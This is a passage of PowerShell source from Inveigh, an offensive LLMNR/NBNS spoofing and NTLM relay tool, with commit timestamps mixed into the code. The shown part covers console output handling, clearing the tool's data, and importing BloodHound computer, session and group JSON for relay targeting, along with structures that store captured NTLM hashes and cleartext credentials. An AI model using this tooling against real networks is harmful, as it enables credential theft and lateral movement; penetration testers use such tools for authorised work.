2018-07-23 08:55:15 +00:00
{
Write-Warning $inveigh . console_queue [ 0 ]
$inveigh . console_queue . RemoveAt ( 0 )
}
{ $_ -like " * spoofer is disabled " -or $_ -like " * local request " -or $_ -like " * host header * " -or $_ -like " * user agent received * " }
{
if ( $ConsoleOutput -eq 'Y' )
{
Write-Output $inveigh . console_queue [ 0 ]
}
$inveigh . console_queue . RemoveAt ( 0 )
}
{ $_ -like " * response sent " -or $_ -like " * ignoring * " -or $_ -like " * HTTP*request for * " -or $_ -like " * Proxy request for * " }
{
if ( $ConsoleOutput -ne " Low " )
{
Write-Output $inveigh . console_queue [ 0 ]
}
$inveigh . console_queue . RemoveAt ( 0 )
}
default
{
Write-Output $inveigh . console_queue [ 0 ]
$inveigh . console_queue . RemoveAt ( 0 )
}
}
}
if ( [ Console ] :: KeyAvailable )
{
$inveigh . console_output = $false
BREAK console_loop
}
Start-Sleep -m 5
}
}
else
{
2019-01-21 09:49:07 +00:00
Write-Output " [-] Inveigh isn't running "
2018-07-23 08:55:15 +00:00
}
}
else
{
2019-01-21 09:49:07 +00:00
Write-Output " [-] Watch-Inveigh cannot be used with current external tool selection "
2018-07-23 08:55:15 +00:00
}
}
function Clear-Inveigh
{
<#
. SYNOPSIS
Clear-Inveigh will clear Inveigh data from memory .
#>
if ( $inveigh )
{
if ( ! $inveigh . running -and ! $inveigh . relay_running )
{
Remove-Variable inveigh -scope global
2019-01-21 09:49:07 +00:00
Write-Output " [+] Inveigh data has been cleared from memory "
2018-07-23 08:55:15 +00:00
}
else
{
2019-01-21 09:49:07 +00:00
Write-Output " [-] Run Stop-Inveigh before running Clear-Inveigh "
}
}
}
function ConvertTo-Inveigh
{
<#
. SYNOPSIS
ConvertTo-Inveigh imports Bloodhound computers , groups and session JSON files into $inveigh . enumerate
for Inveigh Relay targeting .
. DESCRIPTION
For the fastest import , import the data before gather any enumeration data with Inveigh .
. PARAMETER BloodHoundComputersJSON
BloodHound computers file .
. PARAMETER BloodHoundSessionsJSON
BloodHound sessions file .
. PARAMETER BloodHoundGroupsJSON
BloodHound groups file .
. PARAMTER DNS
Enable DNS lookups
#>
[ CmdletBinding ( ) ]
param
(
[ parameter ( Mandatory = $false ) ] [ ValidateScript ( { Test-Path $_ } ) ] [ String ] $Computers ,
[ parameter ( Mandatory = $false ) ] [ ValidateScript ( { Test-Path $_ } ) ] [ String ] $Sessions ,
[ parameter ( Mandatory = $false ) ] [ ValidateScript ( { Test-Path $_ } ) ] [ String ] $Groups ,
[ parameter ( Mandatory = $false ) ] [ Switch ] $DNS ,
[ parameter ( ValueFromRemainingArguments = $true ) ] $invalid_parameter
)
if ( ! $Computers -and ! $Sessions -and ! $Groups )
{
Write-Output " Specifiy a BloodHound computers, groups, or sessions JSON file "
throw
}
if ( $inveigh . running -or $inveigh . relay_running )
{
Write-Output " Run Stop-Inveigh before importing data with ConvertTo-Inveigh "
throw
}
if ( ! $inveigh )
{
$global:inveigh = [ HashTable ] :: Synchronized ( @ { } )
$inveigh . cleartext_list = New-Object System . Collections . ArrayList
$inveigh . enumerate = New-Object System . Collections . ArrayList
$inveigh . IP_capture_list = New-Object System . Collections . ArrayList
$inveigh . log = New-Object System . Collections . ArrayList
$inveigh . NTLMv1_list = New-Object System . Collections . ArrayList
$inveigh . NTLMv1_username_list = New-Object System . Collections . ArrayList
$inveigh . NTLMv2_list = New-Object System . Collections . ArrayList
$inveigh . NTLMv2_username_list = New-Object System . Collections . ArrayList
$inveigh . POST_request_list = New-Object System . Collections . ArrayList
$inveigh . valid_host_list = New-Object System . Collections . ArrayList
$inveigh . ADIDNS_table = [ HashTable ] :: Synchronized ( @ { } )
$inveigh . relay_failed_login_table = [ HashTable ] :: Synchronized ( @ { } )
$inveigh . relay_history_table = [ HashTable ] :: Synchronized ( @ { } )
$inveigh . request_table = [ HashTable ] :: Synchronized ( @ { } )
$inveigh . session_socket_table = [ HashTable ] :: Synchronized ( @ { } )
$inveigh . session_table = [ HashTable ] :: Synchronized ( @ { } )
$inveigh . session_message_ID_table = [ HashTable ] :: Synchronized ( @ { } )
$inveigh . session_lock_table = [ HashTable ] :: Synchronized ( @ { } )
$inveigh . SMB_session_table = [ HashTable ] :: Synchronized ( @ { } )
$inveigh . domain_mapping_table = [ HashTable ] :: Synchronized ( @ { } )
$inveigh . group_table = [ HashTable ] :: Synchronized ( @ { } )
$inveigh . session_count = 0
$inveigh . session = @ ( )
}
function New-RelayEnumObject
{
param ( $IP , $Hostname , $DNSDomain , $netBIOSDomain , $Sessions , $AdministratorUsers , $AdministratorGroups ,
$Privileged , $Shares , $NetSessions , $NetSessionsMapped , $LocalUsers , $SMB2 , $Signing , $SMBServer , $DNSRecord ,
$IPv6Only , $Targeted , $Enumerate , $Execute )
if ( $Sessions -and $Sessions -isnot [ Array ] ) { $Sessions = @ ( $Sessions ) }
if ( $AdministratorUsers -and $AdministratorUsers -isnot [ Array ] ) { $AdministratorUsers = @ ( $AdministratorUsers ) }
if ( $AdministratorGroups -and $AdministratorGroups -isnot [ Array ] ) { $AdministratorGroups = @ ( $AdministratorGroups ) }
if ( $Privileged -and $Privileged -isnot [ Array ] ) { $Privileged = @ ( $Privileged ) }
if ( $Shares -and $Shares -isnot [ Array ] ) { $Shares = @ ( $Shares ) }
if ( $NetSessions -and $NetSessions -isnot [ Array ] ) { $NetSessions = @ ( $NetSessions ) }
if ( $NetSessionsMapped -and $NetSessionsMapped -isnot [ Array ] ) { $NetSessionsMapped = @ ( $NetSessionsMapped ) }
if ( $LocalUsers -and $LocalUsers -isnot [ Array ] ) { $LocalUsers = @ ( $LocalUsers ) }
$relay_object = New-Object PSObject
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " Index " $inveigh . enumerate . Count
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " IP " $IP
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " Hostname " $Hostname
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " DNS Domain " $DNSDomain
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " netBIOS Domain " $netBIOSDomain
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " Sessions " $Sessions
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " Administrator Users " $AdministratorUsers
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " Administrator Groups " $AdministratorGroups
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " Privileged " $Privileged
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " Shares " $Shares
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " NetSessions " $NetSessions
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " NetSessions Mapped " $NetSessionsMapped
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " Local Users " $LocalUsers
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " SMB2.1 " $SMB2
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " Signing " $Signing
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " SMB Server " $SMBServer
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " DNS Record " $DNSRecord
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " IPv6 Only " $IPv6Only
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " Targeted " $Targeted
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " Enumerate " $Enumerate
Add-Member -InputObject $relay_object -MemberType NoteProperty -Name " Execute " $Execute
return $relay_object
}
function Get-DNSEntry([String]$hostname )
{
try
{
$IP_list = [ System.Net.Dns ] :: GetHostEntry ( $hostname )
foreach ( $entry in $IP_list . AddressList )
{
if ( ! $entry . IsIPv6LinkLocal )
{
$IP = $entry . IPAddressToString
}
}
}
catch
{
$IP = $null
}
return $IP
}
# JSON parsing from http://wahlnetwork.com/2016/03/15/deserializing-large-json-payloads-powershell-objects/
function Invoke-ParseItem($JSONItem )
{
if ( $JSONItem . PSObject . TypeNames -match 'Array' )
{
return Invoke-ParseJsonArray ( $JSONItem )
}
elseif ( $JSONItem . PSObject . TypeNames -match 'Dictionary' )
{
return Invoke-ParseJsonObject ( [ HashTable ] $JSONItem )
}
else
{
return $JSONItem
}
}
function Invoke-ParseJsonObject($JSONObject )
{
$result = New-Object -TypeName PSCustomObject
foreach ( $key in $JSONObject . Keys )
{
$item = $JSONObject [ $key ]
if ( $item )
{
$parsed_item = Invoke-ParseItem $item
}
else
{
$parsed_item = $null
}
$result | Add-Member -MemberType NoteProperty -Name $key -Value $parsed_item
}
return $result
}
function Invoke-ParseJSONArray($JSONArray )
{
$result = @ ( )
$stopwatch_progress = [ System.Diagnostics.Stopwatch ] :: StartNew ( )
$i = 0
$JSONArray | ForEach-Object -Process {
if ( $stopwatch_progress . Elapsed . TotalMilliseconds -ge 500 )
{
$percent_complete_calculation = [ Math ] :: Truncate ( $i / $JSONArray . count * 100 )
if ( $percent_complete_calculation -le 100 )
{
Write-Progress -Activity " Parsing JSON " -Status " $percent_complete_calculation % Complete: " -PercentComplete $percent_complete_calculation -ErrorAction SilentlyContinue
}
$stopwatch_progress . Reset ( )
$stopwatch_progress . Start ( )
}
$i + +
$result + = , ( Invoke-ParseItem $_ ) }
return $result
}
function Invoke-ParseJSONString($json )
{
$config = $javaScriptSerializer . DeserializeObject ( $json )
return Invoke-ParseJsonObject $config
}
[ void][System.Reflection.Assembly ] :: LoadWithPartialName ( " System.Web.Extensions " )
if ( $inveigh . enumerate . Count -eq 0 )
{
$enumerate_empty = $true
}
if ( $Computers )
{
$Computers = ( Resolve-Path $Computers ) . Path
$computers_serializer = New-Object -TypeName System . Web . Script . Serialization . JavaScriptSerializer
$computers_serializer . MaxJsonLength = 104857600
$bloodhound_computers = [ System.IO.File ] :: ReadAllText ( $Computers )
$bloodhound_computers = $computers_serializer . DeserializeObject ( $bloodhound_computers )
Write-Output " [*] Parsing BloodHound Computers JSON "
$stopwatch_parse = [ System.Diagnostics.Stopwatch ] :: StartNew ( )
$bloodhound_computers = Invoke-ParseItem $bloodhound_computers
Write-Output " [+] Parsing completed in $( [ Math ] :: Truncate ( $stopwatch_parse . Elapsed . TotalSeconds ) ) seconds "
$stopwatch_parse . Reset ( )
$stopwatch_parse . Start ( )
Write-Output " [*] Importing computers to Inveigh "
$stopwatch_progress = [ System.Diagnostics.Stopwatch ] :: StartNew ( )
$i = 0
if ( ! $bloodhound_computers . Computers )
{
Write-Output " [!] JSON computers parse failed "
throw
}
$bloodhound_computers . Computers | ForEach-Object {
if ( $stopwatch_progress . Elapsed . TotalMilliseconds -ge 500 )
{
$percent_complete_calculation = [ Math ] :: Truncate ( $i / $bloodhound_computers . Computers . Count * 100 )
if ( $percent_complete_calculation -le 100 )
{
Write-Progress -Activity " [*] Importing computers " -Status " $percent_complete_calculation % Complete: " -PercentComplete $percent_complete_calculation -ErrorAction SilentlyContinue
}
$stopwatch_progress . Reset ( )
$stopwatch_progress . Start ( )
}
$hostname = $_ . Name
[ Array ] $local_admin_users = $_ . LocalAdmins | Where-Object { $_ . Type -eq 'User' } | Select-Object -expand Name
[ Array ] $local_admin_groups = $_ . LocalAdmins | Where-Object { $_ . Type -eq 'Group' } | Select-Object -expand Name
if ( $DNS )
{
$IP = Get-DNSEntry $hostname
if ( ! $IP )
{
Write-Output " [-] DNS lookup for $Hostname failed "
}
}
if ( ! $enumerate_empty )
{
for ( $i = 0 ; $i -lt $inveigh . enumerate . Count ; $i + + )
{
if ( ( $hostname -and $inveigh . enumerate [ $i ] . Hostname -eq $hostname ) -or ( $IP -and $inveigh . enumerate [ $i ] . IP -eq $IP ) )
{
if ( $inveigh . enumerate [ $i ] . Hostname -ne $hostname -and $inveigh . enumerate [ $i ] . IP -eq $IP )
{
for ( $j = 0 ; $j -lt $inveigh . enumerate . Count ; $j + + )
{
if ( $inveigh . enumerate [ $j ] . IP -eq $target )
{
$target_index = $j
break
}
}
$inveigh . enumerate [ $target_index ] . Hostname = $hostname
}
else
{
for ( $j = 0 ; $j -lt $inveigh . enumerate . Count ; $j + + )
{
if ( $inveigh . enumerate [ $j ] . Hostname -eq $hostname )
{
$target_index = $j
break
}
}
}
$inveigh . enumerate [ $target_index ] . " Administrator Users " = $local_admin_users
$inveigh . enumerate [ $target_index ] . " Administrator Groups " = $local_admin_groups
}
else
{
$inveigh . enumerate . Add ( ( New-RelayEnumObject -Hostname $_ . Name -IP $IP -AdministratorUsers $local_admin_users -AdministratorGroups $local_admin_groups ) ) > $null
}
}
}
else
{
$inveigh . enumerate . Add ( ( New-RelayEnumObject -Hostname $_ . Name -IP $IP -AdministratorUsers $local_admin_users -AdministratorGroups $local_admin_groups ) ) > $null
}
$IP = $null
$hostname = $null
$local_admin_users = $null
$local_admin_groups = $null
$target_index = $null
$i + +
}
Write-Output " [+] Import completed in $( [ Math ] :: Truncate ( $stopwatch_parse . Elapsed . TotalSeconds ) ) seconds "
$stopwatch_parse . Reset ( )
Remove-Variable bloodhound_computers
}
if ( $Sessions )
{
$Sessions = ( Resolve-Path $Sessions ) . Path
$sessions_serializer = New-Object -TypeName System . Web . Script . Serialization . JavaScriptSerializer
$sessions_serializer . MaxJsonLength = 104857600
$bloodhound_sessions = [ System.IO.File ] :: ReadAllText ( $Sessions )
$bloodhound_sessions = $sessions_serializer . DeserializeObject ( $bloodhound_sessions )
$stopwatch_parse = [ System.Diagnostics.Stopwatch ] :: StartNew ( )
Write-Output " [*] Parsing BloodHound Sessions JSON "
$bloodhound_sessions = Invoke-ParseItem $bloodhound_sessions
Write-Output " [+] Parsing completed in $( [ Math ] :: Truncate ( $stopwatch_parse . Elapsed . TotalSeconds ) ) seconds "
$stopwatch_parse . Reset ( )
$stopwatch_parse . Start ( )
Write-Output " [*] Importing sessions to Inveigh "
$stopwatch_progress = [ System.Diagnostics.Stopwatch ] :: StartNew ( )
$i = 0
if ( ! $bloodhound_sessions . Sessions )
{
Write-Output " [!] JSON sessions parse failed "
throw
}
$bloodhound_sessions . Sessions | ForEach-Object {
if ( $stopwatch_progress . Elapsed . TotalMilliseconds -ge 500 )
{
$percent_complete_calculation = [ Math ] :: Truncate ( $i / $bloodhound_sessions . Sessions . Count * 100 )
if ( $percent_complete_calculation -le 100 )
{
Write-Progress -Activity " [*] Importing sessions " -Status " $percent_complete_calculation % Complete: " -PercentComplete $percent_complete_calculation -ErrorAction SilentlyContinue
}
$stopwatch_progress . Reset ( )
$stopwatch_progress . Start ( )
}
$hostname = $_ . ComputerName
if ( $hostname -as [ IPAddress ] -as [ Bool ] )
{
$IP = $hostname
$hostname = $null
for ( $i = 0 ; $i -lt $inveigh . enumerate . Count ; $i + + )
{
if ( $inveigh . enumerate [ $i ] . IP -eq $target )
{
$target_index = $i
break
}
}
}
else
{
for ( $i = 0 ; $i -lt $inveigh . enumerate . Count ; $i + + )
{
if ( $inveigh . enumerate [ $i ] . Hostname -eq $hostname )
{
$target_index = $i
break
}
}
if ( $DNS )
{
$IP = Get-DNSEntry $hostname
if ( ! $IP )
{
Write-Output " [-] DNS lookup for $Hostname failed or IPv6 address "
}
}
}
if ( ! $enumerate_empty -or $target_index -ge 0 )
{
[ Array ] $session_list = $inveigh . enumerate [ $target_index ] . Sessions
if ( $session_list -notcontains $_ . UserName )
{
$session_list + = $_ . UserName
$inveigh . enumerate [ $target_index ] . Sessions = $session_list
}
}
else
{
$inveigh . enumerate . Add ( $ ( New-RelayEnumObject -Hostname $hostname -IP $IP -Sessions $_ . UserName ) ) > $null
}
$hostname = $null
$IP = $null
$session_list = $null
$target_index = $null
$i + +
}
Write-Output " [+] Import completed in $( [ Math ] :: Truncate ( $stopwatch_parse . Elapsed . TotalSeconds ) ) seconds "
$stopwatch_parse . Reset ( )
Remove-Variable bloodhound_sessions
}
if ( $Groups )
{
$Groups = ( Resolve-Path $Groups ) . Path
$groups_serializer = New-Object -TypeName System . Web . Script . Serialization . JavaScriptSerializer
$groups_serializer . MaxJsonLength = 104857600
$bloodhound_groups = [ System.IO.File ] :: ReadAllText ( $Groups )
$bloodhound_groups = $groups_serializer . DeserializeObject ( $bloodhound_groups )
$stopwatch_parse = [ System.Diagnostics.Stopwatch ] :: StartNew ( )
Write-Output " [*] Parsing BloodHound Groups JSON "
$bloodhound_groups = Invoke-ParseItem $bloodhound_groups
Write-Output " [+] Parsing completed in $( [ Math ] :: Truncate ( $stopwatch_parse . Elapsed . TotalSeconds ) ) seconds "
$stopwatch_parse . Reset ( )
$stopwatch_parse . Start ( )
Write-Output " [*] Importing groups to Inveigh "
$stopwatch_progress = [ System.Diagnostics.Stopwatch ] :: StartNew ( )
$i = 0
if ( ! $bloodhound_groups . Groups )
{
Write-Output " [!] JSON groups parse failed "
throw
}
$bloodhound_groups . Groups | ForEach-Object {
if ( $stopwatch_progress . Elapsed . TotalMilliseconds -ge 500 )
{
$percent_complete_calculation = [ Math ] :: Truncate ( $i / $bloodhound_groups . Groups . Count * 100 )
if ( $percent_complete_calculation -le 100 )
{
Write-Progress -Activity " [*] Importing groups " -Status " $percent_complete_calculation % Complete: " -PercentComplete $percent_complete_calculation -ErrorAction SilentlyContinue
}
$stopwatch_progress . Reset ( )
$stopwatch_progress . Start ( )
}
[ Array ] $group_members = $_ . Members | Select-Object -expand MemberName
$inveigh . group_table . Add ( $_ . Name , $group_members )
$group_members = $null
$i + +
}
Write-Output " [+] Import completed in $( [ Math ] :: Truncate ( $stopwatch . Elapsed . TotalSeconds ) ) seconds "
2018-07-23 08:55:15 +00:00
}
}
2019-01-21 09:49:07 +00:00
#endregion